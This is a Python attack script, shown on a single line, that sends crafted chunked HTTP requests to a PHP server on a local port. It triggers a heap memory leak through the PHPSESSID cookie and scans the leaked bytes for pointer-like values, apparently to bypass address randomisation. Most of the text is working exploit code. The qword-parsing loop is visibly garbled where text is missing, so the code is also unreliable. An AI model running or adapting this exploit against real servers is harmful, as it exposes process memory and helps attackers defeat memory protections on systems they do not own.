#!/usr/bin/env python import os import struct import subprocess import sys import urllib.parse from collections import Counter HERE = os.path.dirname(os.path.abspath(__file__)) UP = os.path.join(HERE, "upstream") PURE = os.path.join(UP, "pure") sys.path.insert(0, PURE) import chunked_send # noqa: E402 import mk_leak_b # noqa: E402 PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 18110 LEAK_SPEC = ",".join(["G:511:0x137"] * 14 + ["G:400:0x137", "G:511:0x137", "X:900"]) def send_chunked(body_file, path="/index.php", save=""): cmd = [sys.executable, os.path.join(PURE, "chunked_send.py"), "--port", str(PORT), "--body-file", body_file, "--path", path, "--timeout", "300"] if save: cmd += ["--save-response", save] subprocess.run(cmd, check=True, stdout=subprocess.DEVNULL) return open(save, "rb").read() if save else b"" tmp = os.path.join(HERE, "captures") os.makedirs(tmp, exist_ok=True) a1 = os.path.join(tmp, "diag_a1.bin") subprocess.run([sys.executable, os.path.join(PURE, "mk_a1.py"), "--out", a1, "--big", "78"], check=True, stdout=subprocess.DEVNULL) print("a1 bytes=%d" % os.path.getsize(a1)) send_chunked(a1, "/index.php?q0000000=v&q0000001=v&q0000002=v&q0000003=v&q0000004=v") b1 = os.path.join(tmp, "diag_b1.bin") subprocess.run([sys.executable, os.path.join(PURE, "mk_leak_b.py"), "--out", b1, "--spec", LEAK_SPEC, "--fake-len", "0xC8000", "--tag"], check=True, stdout=subprocess.DEVNULL) resp = send_chunked(b1, "/index.php", os.path.join(tmp, "diag_leak.resp")) print("resp bytes=%d" % len(resp)) print("status=%r" % resp.split(b"\r\n", 1)[0][:80]) i = resp.find(b"Set-Cookie: PHPSESSID=") print("set-cookie at=%d" % i) if i < 0: print(resp[:600]) raise SystemExit(1) val = resp[i + len(b"Set-Cookie: PHPSESSID="):].split(b"\r\n")[0] print("raw cookie bytes=%d" % len(val)) dec = urllib.parse.unquote_to_bytes(val.decode("latin1")) print("decoded=%d" % len(dec)) open(os.path.join(tmp, "diag_decoded.bin"), "wb").write(dec) hist = Counter() top = Counter() for off in range(0, len(dec) - 7, 8): q = struct.unpack_from("> 40] += 1 if q: top[q] += 1 print("qword high-byte histogram:", [(hex(k << 40), v) for k, v in hist.most_common(8)]) print("top nonzero qwords:") for q, c in top.most_common(8): print(" %#018x x%d" % (q, c)) print("count 0x7f-range:", sum(c for q, c in top.items() if 0x7F0000000000 <= q <= 0x7FFFFFFFFFFF)) print("count canon-user :", sum(c for q, c in top.items() if 0x1000000000 <= q <= 0x7FFFFFFFFFFF)) print("first 64 bytes:", dec[:64]) print("ascii head:", dec[:120].decode("latin1").replace("\x00", "."))